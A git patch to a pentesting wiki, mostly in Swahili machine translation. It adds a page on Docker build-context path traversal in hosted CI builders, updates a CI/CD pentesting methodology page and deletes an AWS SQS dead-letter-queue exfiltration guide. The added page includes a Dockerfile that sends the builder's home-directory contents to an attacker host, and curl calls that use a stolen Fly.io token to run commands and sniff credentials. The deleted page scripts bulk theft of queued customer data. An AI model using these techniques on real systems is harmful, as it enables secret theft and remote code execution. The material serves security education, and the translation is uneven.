From 09a53f9b8295b65821ec48aa160aacda6b594417 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 16:14:08 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src --- .../docker-build-context-abuse.md | 100 ++++++++++++ .../pentesting-ci-cd-methodology.md | 95 ++++++----- .../aws-sqs-dlq-redrive-exfiltration.md | 154 ------------------ 3 files changed, 151 insertions(+), 198 deletions(-) create mode 100644 src/pentesting-ci-cd/docker-build-context-abuse.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md new file mode 100644 index 000000000..58f0624c7 --- /dev/null +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -0,0 +1,100 @@ +# Kutumia vibaya Docker Build Context katika Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) + +{{#include ../banners/hacktricks-training.md}} + +## TL;DR + +Ikiwa jukwaa la CI/CD au hosted builder linamruhusu mchangiaji kubainisha njia ya Docker build context na njia ya Dockerfile, mara nyingi unaweza kuweka context kwa saraka ya mzazi (mfano, "..") na kufanya faili za mwenyeji kuwa sehemu ya build context. Kisha, Dockerfile iliyodhibitiwa na mshambuliaji inaweza kutumia COPY na exfiltrate siri zilizopatikana katika nyumbani kwa mtumiaji wa builder (kwa mfano, ~/.docker/config.json). Tokeni za registry zilizodukuliwa pia zinaweza kufanya kazi dhidi ya provider’s control-plane APIs, zikiruhusu RCE ya ngazi ya shirika. + +## Attack surface + +Huduma nyingi za hosted builder/registry hufanya takriban yafuatayo wakati wa kujenga images zilizowasilishwa na watumiaji: +- Soma repo-level config inayojumuisha: +- build context path (inayotumwa kwa Docker daemon) +- Dockerfile path relative to that context +- Nakili saraka ya build context iliyotajwa na Dockerfile kwenda Docker daemon +- Jenga image na kuiendesha kama hosted service + +Ikiwa jukwaa halifanyi canonicalize na kuzuiya build context, mtumiaji anaweza kuiweka kwa eneo nje ya repository (path traversal), na kusababisha faili yoyote ya mwenyeji inayosomwa na build user kuwa sehemu ya build context na kupatikana kwa ajili ya COPY katika Dockerfile. + +Practical constraints commonly observed: +- Dockerfile lazima iwe ndani ya chosen context path na njia yake lazima ijulikane mapema. +- build user lazima awe na haki za kusoma kwenye faili zilizojumuishwa katika context; special device files zinaweza kuvuruga nakili. + +## PoC: Path traversal via Docker build context + +Example malicious server config declaring a Dockerfile within the parent directory context: +```yaml +runtime: "container" +build: +dockerfile: "test/Dockerfile" # Must reside inside the final context +dockerBuildPath: ".." # Path traversal to builder user $HOME +startCommand: +type: "http" +configSchema: +type: "object" +properties: +apiKey: +type: "string" +required: ["apiKey"] +exampleConfig: +apiKey: "sk-example123" +``` +- Kutumia ".." mara nyingi hurejea kwenye home ya mtumiaji builder (mf., /home/builder), ambayo kwa kawaida ina faili nyeti. +- Weka Dockerfile yako chini ya jina la directory la repo (mf., repo "test" → test/Dockerfile) ili ibaki ndani ya muktadha wa mzazi uliopanuliwa. + +## PoC: Dockerfile ya kuingiza na ku-exfiltrate muktadha wa host +```dockerfile +FROM alpine +RUN apk add --no-cache curl +RUN mkdir /data +COPY . /data # Copies entire build context (now builder’s $HOME) +RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) +``` +Malengo yanayopatikana mara kwa mara kutoka $HOME: +- ~/.docker/config.json (registry auths/tokens) +- Caches na configs nyingine za cloud/CLI (mfano, ~/.fly, ~/.kube, ~/.aws, ~/.config/*) + +Tip: Hata ukiwa na .dockerignore katika repository, uchaguzi dhaifu wa platform-side context bado unasimamia ni nini kinachotumwa kwa daemon. Ikiwa platform inakopa path iliyochaguliwa kwa daemon kabla ya kutathmini .dockerignore ya repo yako, faili za host bado zinaweza kufichuliwa. + +## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) + +Baadhi ya platforms hutolewa bearer token moja inayoweza kutumika kwa container registry na control-plane API. Ikiwa utaexfiltrate registry token, jaribu kuitumia dhidi ya provider API. + +Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: + +Orodhesha apps katika org: +```bash +curl -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps?org_slug=smithery" +``` +Endesha amri kama root ndani ya mashine yoyote ya app: +```bash +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' +``` +Matokeo: remote code execution kwa shirika zima kwenye hosted apps zote ambapo token ina ruhusa za kutosha. + +## Uibwa wa siri kutoka kwa hosted services zilizoathiriwa + +Kwa exec/RCE kwenye hosted servers, unaweza kuvuna siri zilizotolewa na mteja (API keys, tokens) au kuanzisha prompt-injection attacks. Mfano: weka tcpdump na kunasa trafiki ya HTTP kwenye port 8080 ili kutoa kredenshiali zinazoingia. +```bash +# Install tcpdump inside the machine +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' + +# Capture traffic +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' +``` +Maombi yaliyorekodiwa mara nyingi yana client credentials katika headers, bodies, au query params. + +## Marejeo + +- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) +- [Fly.io Machines API](https://fly.io/docs/machines/api/) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index b948eb164..65f05eac6 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,97 +6,104 @@ ## VCS -VCS inamaanisha **Version Control System**, mfumo huu unawawezesha watengenezaji **kusimamia source code yao**. Iliyo ya kawaida zaidi ni **git** na kawaida utapata kampuni zikitumia moja ya **platforms** zifuatazo: +VCS stands for **Version Control System**, systems hizi zinamruhusu developer ku **dhibiti source code yao**. Ilikuwa ya kawaida ni **git** na kawaida kampuni zitakutumia kwenye moja ya **platforms** zifuatazo: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Cloud providers (hutoa VCS platforms zao) +- Cloud providers (wao hutoa VCS platform zao) ## CI/CD Pipelines -CI/CD pipelines zinawawezesha watengenezaji **kuendesha kiotomatiki execution ya code** kwa madhumuni mbalimbali, ikiwa ni pamoja na kujenga, kujaribu, na ku-deploy applications. Workflows hizi za otomatiki huanza kwa **vitendo maalum**, kama vile code pushes, pull requests, au scheduled tasks. Zinasaidia kurahisisha mchakato kutoka development hadi production. +CI/CD pipelines zinawezesha developers **kuendesha kwa njia ya otomatiki execution ya code** kwa madhumuni mbalimbali, ikiwemo building, testing, na deploying applications. Workflow hizi za otomatiki hutazamwa na **vitendo maalum**, kama vile code pushes, pull requests, au scheduled tasks. Zinasaidia kurahisisha mchakato kutoka development hadi production. -Hata hivyo, mifumo hii inahitaji kuendeshwa **mahali fulani** na kawaida kwa **credentials zilizo na privileges ili ku-deploy code au kufikia taarifa nyeti**. +Hata hivyo, mifumo hii inahitaji **kuendeshwa mahali fulani** na mara nyingi kwa **credentials zilizo na privileges za juu ili ku-deploy code au kufikia taarifa nyeti**. ## VCS Pentesting Methodology > [!NOTE] -> Hata kama baadhi ya VCS platforms zinaruhusu kuunda pipelines kwa sehemu hii tutaangalia tu mashambulizi yanayowezekana kwa udhibiti wa source code. +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -Platforms zinazoendelea na source code ya project yako zina taarifa nyeti na watu wanapaswa kuwa makini sana na ruhusa zinazotolewa ndani ya platform hii. Hivi ni baadhi ya matatizo ya kawaida kwenye VCS platforms ambayo attacker anaweza kuyatumia: +Platforms zinazoshikilia source code ya project yako zinashikilia taarifa nyeti na watu wanapaswa kuwa waangalifu sana na permissions zinazotolewa ndani ya platform hii. Hapa kuna matatizo ya kawaida katika VCS platforms ambayo attacker anaweza kuchochea: -- **Leaks**: Ikiwa code yako ina leaks katika commits na attacker anaweza kupata repo (kwa sababu ni public au kwa sababu ana access), anaweza kugundua leaks. -- **Access**: Ikiwa attacker anaweza **kupata account ndani ya VCS platform** anaweza kupata **uwazi zaidi na ruhusa**. -- **Register**: Baadhi ya platforms zitamruhusu tu watumiaji wa nje kuunda account. -- **SSO**: Baadhi ya platforms hazitaruhusu watumiaji kusajili, lakini zitawaweka watu kuingia kwa SSO halali (hivyo attacker anaweza kutumia github account yake kuingia kwa mfano). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina mbalimbali za tokens ambazo mtumiaji anaweza kuiba ili kufikia repo kwa namna fulani. -- **Webhooks**: VCS platforms zinaruhusu kuunda webhooks. Ikiwa hazilindwa na secrets zisizoonekana attacker anaweza kuzitumia. - - Ikiwa hakuna secret, attacker anaweza kutumia webhook ya third party platform - - Ikiwa secret iko kwenye URL, hali ni sawa na attacker pia atakuwa na secret -- **Code compromise:** Ikiwa mtu mwenye nia mbaya ana aina yoyote ya **write** access juu ya repos, anaweza kujaribu **kujaza code ya kibaya**. Ili kufanikiwa anaweza kuhitaji **kupitie branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti: - - Kuathiri main branch ili **kuathiri production**. - - Kuathiri main (au branches nyingine) ili **kuathiri machines za developers** (kwa kuwa kawaida wanaendesha test, terraform au mambo mengine ndani ya repo kwenye mashine zao). - - **Compromise the pipeline** (angalia sehemu inayofuata) +- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. +- **Access**: Ikiwa attacker anaweza **kuingia kwenye account ndani ya VCS platform** anaweza kupata **uwazi zaidi na permissions**. +- **Register**: Baadhi ya platforms zitaruhusu watumiaji wa nje kuunda account. +- **SSO**: Baadhi ya platforms hazitaruhusu watumiaji kujisajili, lakini zitawaruhusu mtu yeyote kuingia kwa SSO halali (hivyo attacker anaweza kutumia account yake ya github kuingia kwa mfano). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina kadhaa za tokens mtu anaweza kuiba ili kupata access kwa njia mbalimbali kwenye repo. +- **Webhooks**: VCS platforms zinaweza kuunda webhooks. Ikiwa hazilindwa kwa siri zisizoonekana, **attacker anaweza kuzitumia**. +- If no secret is in place, the attacker could abuse the webhook of the third party platform +- If the secret is in the URL, the same happens and the attacker also have the secret +- **Code compromise:** Ikiwa muovu ana aina yoyote ya **write** access juu ya repos, anaweza kujaribu **kuficha malicious code**. Ili kufanikiwa anaweza kuhitaji **kubypass branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti: + - Kuiba main branch ili **kucompromise production**. + - Kucompromise main (au matawi mengine) ili **kucompromise machines za developers** (wakati wao mara nyingi huendesha tests, terraform au vitu vingine ndani ya repo kwenye mashine zao). +- **Compromise the pipeline** (angalia sehemu inayofuata) ## Pipelines Pentesting Methodology -Njia ya kawaida ya kufafanua pipeline ni kwa kutumia **CI configuration file hosted in the repository** pipeline inajenga. File hii inaelezea mpangilio wa jobs zinazoendeshwa, masharti yanayoathiri flow, na settings za build environment.\ -Files hizi kawaida zina jina na format inayofanana, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files zilizo chini ya .github/workflows. Wakati zinapoanzishwa, pipeline job **inapull code** kutoka source iliyochaguliwa (mfano commit / branch), na **inaendesha commands zilizobainishwa katika CI configuration file** dhidi ya code hiyo. +Njia ya kawaida ya kufafanua pipeline ni kwa kutumia **CI configuration file hosted in the repository** pipeline inajenga. File hii inaelezea mpangilio wa jobs zinazotekelezwa, masharti yanayoathiri flow, na mazingira ya build.\ +Files hizi kwa kawaida zina majina na format zinazofanana, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files ziko ndani ya .github/workflows. Wakati zinapoanzishwa, pipeline job **inapiga code** kutoka kwa source iliyochaguliwa (mfano commit / branch), na **inakimbiza commands zilizobainishwa ndani ya CI configuration file** dhidi ya code hiyo. -Kwa hivyo lengo kuu la attacker ni kwa namna fulani **kuathiri files za configuration** au **commands wanazoendesha**. +Hivyo lengo kuu la attacker ni kwa namna fulani **kucompromise hizo configuration files** au **commands wanazotekeleza**. + +> [!TIP] +> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: +> +>{{#ref}} +>docker-build-context-abuse.md +>{{#endref}} ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path hutumia permissions katika SCM repository ili kuathiri CI pipeline na kuendesha commands zenye madhara. Watumiaji wenye ruhusa wanazoweza kubadilisha CI configuration files au files nyingine zinazotumika na job ya pipeline ili kuwaweka commands za kigaidi. Hii "inafanya poison" CI pipeline, na kusababisha execution ya commands hizo. +The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. -Ili muasi afanikiwe kufanya udukuzi wa PPE anahitaji: +Ili muovu afanikiwe kufanya shambulio la PPE anahitaji: - Kuwa na **write access to the VCS platform**, kwani kawaida pipelines zinaanzishwa wakati push au pull request inafanywa. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access). -- Kumbuka kwamba wakati mwingine **external PR inaweza kuhesabiwa kama "write access"**. -- Hata kama ana write permissions, anahitaji kuhakikisha anaweza **kubadilisha CI config file au files nyingine ambazo config inategemea**. -- Kwa hili, anaweza kuhitaji kuweza **kupitia branch protections**. +- Kumbuka kwamba wakati mwingine **external PR inachukuliwa kuwa "write access"**. +- Hata kama ana write permissions, anahitaji kuwa na uhakika anaweza **kubadilisha CI config file au files nyingine ambazo config inategemea**. +- Kwa hili, anaweza kuhitaji uwezo wa **kubypass branch protections**. -Kuna flavours 3 za PPE: +Kuna aina 3 za PPE: -- **D-PPE**: A **Direct PPE** attack hutokea wakati actor **anabadilisha CI config** file ambayo itatekelezwa. -- **I-DDE**: A **Indirect PPE** attack hutokea wakati actor **anabadilisha** **file** ambayo CI config file inayotekelezwa **inategemea** (kama make file au terraform config). -- **Public PPE or 3PE**: Katika baadhi ya kesi pipelines zinaweza kuanzishwa na watumiaji ambao hawana write access katika repo (na ambao huenda si sehemu ya org) kwa sababu wanaweza kutuma PR. -- **3PE Command Injection**: Kawaida, CI/CD pipelines huweka **environment variables** zenye **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na attacker (kama title ya PR) na inatumiwa mahali hatari (kama kuendesha **sh commands**), attacker anaweza **kuingiza commands ndani yake**. +- **D-PPE**: A **Direct PPE** attack hutokea wakati muovu **anabadilisha CI config** file ambayo itatekelezwa. +- **I-DDE**: An **Indirect PPE** attack hutokea wakati muovu **anabadilisha** faili ambayo CI config inategemea (kama make file au terraform config). +- **Public PPE or 3PE**: Katika baadhi ya kesi pipelines zinaweza **kuanzishwa na watumiaji ambao hawana write access kwenye repo** (na ambao huenda si sehemu ya org) kwa sababu wanaweza kutuma PR. +- **3PE Command Injection**: Kawaida, CI/CD pipelines zitakuwa **zikiteua environment variables** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na attacker (kama title ya PR) na inatumiwa mahali hatari (kama kutekeleza sh commands), attacker anaweza **kuingiza commands ndani yake**. ### Exploitation Benefits -Kujua flavours 3 za ku-poison pipeline, hebu tazame anachoweza kupata attacker baada ya exploitation iliyofanikiwa: +Kutambua aina 3 za ku-chinika pipeline, tuchunguze kile attacker anaweza kupata baada ya kuthibitika: -- **Secrets**: Kama ilivyoripotiwa awali, pipelines zinahitaji **privileges** kwa jobs zao (kupata code, kuijenga, ku-deploy...) na privileges hizi kawaida hutolewa kwa **secrets**. Secrets hizi kwa kawaida zinapatikana kupitia **env variables au files ndani ya system**. Kwa hivyo attacker atajaribu kila mara kutoa secrets nyingi iwezekanavyo. -- Kutegemea platform ya pipeline attacker **anaweza kuhitaji kubainisha secrets kwenye config**. Hii inamaanisha kwamba kama attacker hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **kutoa tu secrets ambazo pipeline ina**. -- **Computation**: Code inaendeshwa mahali fulani, kutegemea wapi inafanyika attacker anaweza kuweza pivot zaidi. -- **On-Premises**: Ikiwa pipelines zinaendeshwa on premises, attacker anaweza kuingia kwenye **internal network yenye access kwa rasilimali zaidi**. -- **Cloud**: attacker anaweza kufikia **mashine nyingine kwenye cloud** lakini pia anaweza **kutoa** IAM roles/service accounts **tokens** kutoka kwake kupata **access zaidi ndani ya cloud**. -- **Platforms machine**: Wakati mwingine jobs zitaendeshwa ndani ya **pipelines platform machines**, ambazo kawaida ziko ndani ya cloud na **hakuna access zaidi**. -- **Select it:** Wakati mwingine **pipelines platform itakuwa imesanidi mashine kadhaa** na kama unaweza **kubadilisha CI configuration file** unaweza **bainisha wapi unataka kuendesha malicious code**. Katika hali hii, attacker huenda akaendesha reverse shell kwenye kila mashine inayowezekana ili kujaribu kuzifanyia exploit zaidi. -- **Compromise production**: Ikiwa uko ndani ya pipeline na version ya mwisho inajengwa na ku-deploy kutoka kwake, unaweza **kuathiri code itakayofanya kazi production**. +- **Secrets**: Kama ilivyotajwa awali, pipelines zinahitaji **privileges** kwa jobs zao (kuchukua code, kui-build, kui-deploy...) na privileges hizi kawaida huwekwa kama **secrets**. Secrets hizi kwa kawaida zinapatikana kupitia **env variables au files ndani ya system**. Kwa hivyo attacker atajaribu kila nakala ku-exfiltrate secrets nyingi iwezekanavyo. +- Kutegemea platform ya pipeline attacker **anaweza kuhitaji kutaja secrets katika config**. Hii inamaanisha kwamba kama attacker hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **ku-exfiltrate tu secrets ambazo pipeline ina**. +- **Computation**: Code inatekelezwa mahali fulani, kutegemea wapi inatekelezwa attacker anaweza kuweza kupindua zaidi. +- **On-Premises**: Ikiwa pipelines zinaendeshwa on-premises, attacker anaweza kuingia kwenye **internal network na access kwa rasilimali zaidi**. +- **Cloud**: Attacker anaweza kupata **machines nyingine kwenye cloud** lakini pia anaweza **ku-exfiltrate** IAM roles/service accounts **tokens** kutoka hapo ili kupata **access zaidi ndani ya cloud**. +- **Platforms machine**: Wakati mwingine jobs zitakuwa zimekimbizwa ndani ya **pipelines platform machines**, ambazo kwa kawaida ziko ndani ya cloud na **havina access zaidi**. +- **Select it:** Wakati mwingine **pipelines platform itakuwa ime-configure machines kadhaa** na ikiwa unaweza **kubadilisha CI configuration file** unaweza **kuonyesha wapi unataka kukimbiza malicious code**. Katika hali hii, attacker atafanya labda reverse shell kwenye kila machine inayowezekana kujaribu kuilazimisha zaidi. +- **Compromise production**: Ikiwa uko ndani ya pipeline na version ya mwisho inajengwa na ku-deploy kutoka kwake, unaweza **kucompromise code ambayo itakuwa inayoendesha production**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni tool ya open-source kwa auditing software supply chain stack yako kwa security compliance kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing inazingatia mchakato mzima wa SDLC, ambapo inaweza kufichua hatari kutoka wakati wa code hadi wakati wa deploy. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni tool ya open-source kwa auditing ya software supply chain stack kwa security compliance kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing inazingatia mchakato wa SDLC mzima, ambapo inaweza kufichua hatari kutoka wakati wa kuandika code hadi wakati wa ku-deploy. ### Top 10 CI/CD Security Risk -Angalia makala hii ya kuvutia kuhusu top 10 CI/CD risks kulingana na Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Angalia makala hii ya kuvutia kuhusu top 10 CI/CD risks kwa mujibu wa Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Kwenye kila platform ambayo unaweza kuendesha locally utapata jinsi ya kuilauch locally ili uweze kuisanidi kama unavyotaka kuijaribu +- Kila platform ambayo unaweza kuendesha locally utapata jinsi ya kuianzisha locally ili uweze ku-configure kama unavyotaka kuipima - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni static code analysis tool kwa infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni tool ya static code analysis kwa infrastructure-as-code. ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md deleted file mode 100644 index 8a6ae3fc5..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ /dev/null @@ -1,154 +0,0 @@ -# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask - -{{#include ../../../banners/hacktricks-training.md}} - -## Maelezo - -Tumia vibaya SQS message move tasks ili kuiba ujumbe wote uliokusanywa kutoka kwenye Dead-Letter Queue (DLQ) ya mwathiriwa kwa kuyapeleka kwa queue inayodhibitiwa na mshambulizi kwa kutumia `sqs:StartMessageMoveTask`. Mbinu hii inatumia kipengele halali cha AWS cha urejeshaji wa ujumbe ili exfiltrate data nyeti ambayo imekusanywa katika DLQs kwa muda. - -## Je, Dead-Letter Queue (DLQ) ni nini? - -Dead-Letter Queue ni queue maalum ya SQS ambapo ujumbe hupelekwa kiotomatiki wakati hayafanikiwa kuchakatwa vizuri na programu kuu. Ujumbe hizi zilizoshindwa mara nyingi zina: -- Data ya programu nyeti ambayo haikuweza kuchakatwa -- Maelezo ya makosa na taarifa za debugging -- Personal Identifiable Information (PII) -- API tokens, credentials, au siri nyingine -- Data muhimu za biashara za miamala - -DLQs hufanya kama "makaburi" ya ujumbe walioshindwa, na kuzifanya kuwa malengo yenye thamani kwa sababu hukusanya data nyeti kwa muda ambayo programu zilishindwa kushughulikia ipasavyo. - -## Senario ya Shambulio - -**Mfano wa ulimwengu halisi:** -1. **E-commerce application** inachakata maagizo ya wateja kupitia SQS -2. **Maagizo mengine hukosa** (masuala ya malipo, uhaba wa hesabu, n.k.) na kuhamishwa kwenye DLQ -3. **DLQ inakusanya** wiki/miezi ya maagizo yaliyoshindwa yanayojumuisha data za wateja: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Mshambulizi anapata ufikiaji** wa credentials za AWS zenye permissions za SQS -5. **Mshambulizi anagundua** DLQ ina maelfu ya maagizo yaliyoshindwa yenye data nyeti -6. **Badala ya kujaribu kufikia ujumbe mmoja mmoja** (polepole na kuonekana), mshambulizi anatumia `StartMessageMoveTask` kuhamisha kwa wingi ujumbe WOTE kwenda queue yao -7. **Mshambulizi anatoa** data nyeti zote za kihistoria kwa operesheni moja - -## Mahitaji -- Source queue lazima iwe imewekwa kama DLQ (irejewe na angalau queue moja kupitia RedrivePolicy). -- IAM permissions (kazi kama principal ya mwathiriwa aliyekompromiwa): -- Kwa DLQ (chanzo): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Kwa destination queue: permission ya kupeleka ujumbe (kwa mfano, queue policy inayoruhusu `sqs:SendMessage` kutoka kwa principal ya mwathiriwa). Kwa destinations za akaunti moja hii kwa kawaida inaruhusiwa kwa default. -- Ikiwa SSE-KMS imewezeshwa: kwa CMK ya source `kms:Decrypt`, na kwa CMK ya destination `kms:GenerateDataKey`, `kms:Encrypt`. - -## Athari -Exfiltrate payloads nyeti zilizokusanywa katika DLQs (matukio yaliyoshindwa, PII, tokens, payloads za programu) kwa kasi kubwa kwa kutumia APIs za asili za SQS. Inafanya kazi cross-account ikiwa queue policy ya destination inaruhusu `SendMessage` kutoka kwa principal ya mwathiriwa. - -## Jinsi ya Kutumia Vibaya - -- Tambua ARN ya DLQ ya mwathiriwa na uhakikishe kwamba kweli inatajwa kama DLQ na queue fulani (queue yoyote inatosha). -- Tengeneza au chagua destination queue inayodhibitiwa na mshambulizi na pata ARN yake. -- Anzisha message move task kutoka DLQ ya mwathiriwa kwenda destination queue yako. -- Fatilia maendeleo au futilia mbali ikiwa inahitajika. - -### CLI Mfano: Exfiltrating Customer Data from E-commerce DLQ - -**Scenario**: Mshambulizi amekompromwa credentials za AWS na kugundua kwamba programu ya e-commerce inatumia SQS na DLQ yenye jaribio zilizoshindwa za usindikaji wa maagizo ya wateja. - -1) **Gundua na uchunguze DLQ ya mwathiriwa** -```bash -# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) -aws sqs list-queues --queue-name-prefix dlq - -# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq -VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" -SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -# Check how many messages are in the DLQ (potential treasure trove!) -aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ ---attribute-names ApproximateNumberOfMessages -# Output might show: "ApproximateNumberOfMessages": "1847" -``` -2) **Unda attacker-controlled destination queue** -```bash -# Create our exfiltration queue -ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) -ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -echo "Created exfiltration queue: $ATTACKER_Q_ARN" -``` -3) **Tekeleza wizi wa ujumbe kwa wingi** -```bash -# Start moving ALL messages from victim DLQ to our queue -# This operation will transfer thousands of failed orders containing customer data -echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" -TASK_RESPONSE=$(aws sqs start-message-move-task \ ---source-arn "$SRC_ARN" \ ---destination-arn "$ATTACKER_Q_ARN" \ ---max-number-of-messages-per-second 100) - -echo "Move task started: $TASK_RESPONSE" - -# Monitor the theft progress -aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 -``` -4) **Kuvuna data nyeti zilizoibwa** -```bash -# Receive the exfiltrated customer data -echo "Receiving stolen customer data..." -aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---attribute-names All --message-attribute-names All \ ---max-number-of-messages 10 --wait-time-seconds 5 - -# Example of what an attacker might see: -# { -# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", -# "MessageId": "12345-abcd-6789-efgh" -# } - -# Continue receiving all messages in batches -while true; do -MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---max-number-of-messages 10 --wait-time-seconds 2 --output json) - -if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then -echo "No more messages - exfiltration complete!" -break -fi - -echo "Received batch of stolen data..." -# Process/save the stolen customer data -echo "$MESSAGES" >> stolen_customer_data.json -done -``` -### Vidokezo vya cross-account -- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions). - -## Kwa Nini Shambulio Hili Lina Ufanisi - -1. **Legitimate AWS Feature**: Inatumia uwezo uliomo ndani ya AWS, hivyo inafanya iwe vigumu kuibaini kama ni mbaya -2. **Bulk Operation**: Inahamisha maelfu ya ujumbe kwa haraka badala ya upatikanaji wa taratibu wa ujumbe mmoja mmoja -3. **Historical Data**: DLQs hukusanya data nyeti kwa wiki/miezi -4. **Under the Radar**: Mashirika mengi hayachunguzi upatikanaji wa DLQ kwa ukaribu -5. **Cross-Account Capable**: Inaweza exfiltrate kwenda kwenye akaunti ya AWS ya mshambuliaji ikiwa ruhusa zinaruhusu - -## Ugunduzi na Kuzuia - -### Ugunduzi -Fuatilia CloudTrail kwa wito wa API `StartMessageMoveTask` unaoshukiwa: -```json -{ -"eventName": "StartMessageMoveTask", -"sourceIPAddress": "suspicious-ip", -"userIdentity": { -"type": "IAMUser", -"userName": "compromised-user" -}, -"requestParameters": { -"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", -"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" -} -} -``` -### Kuzuia -1. **Kanuni ya "Least Privilege"**: Punguza ruhusa za `sqs:StartMessageMoveTask` kwa majukumu yanayohitajika tu -2. **Fuatilia DLQs**: Weka alarm za CloudWatch kwa shughuli zisizo za kawaida za DLQ -3. **Sera za kuvuka akaunti**: Kagua kwa uangalifu SQS queue policies zinazoruhusu ufikiaji wa kuvuka akaunti -4. **Fichamisha DLQs**: 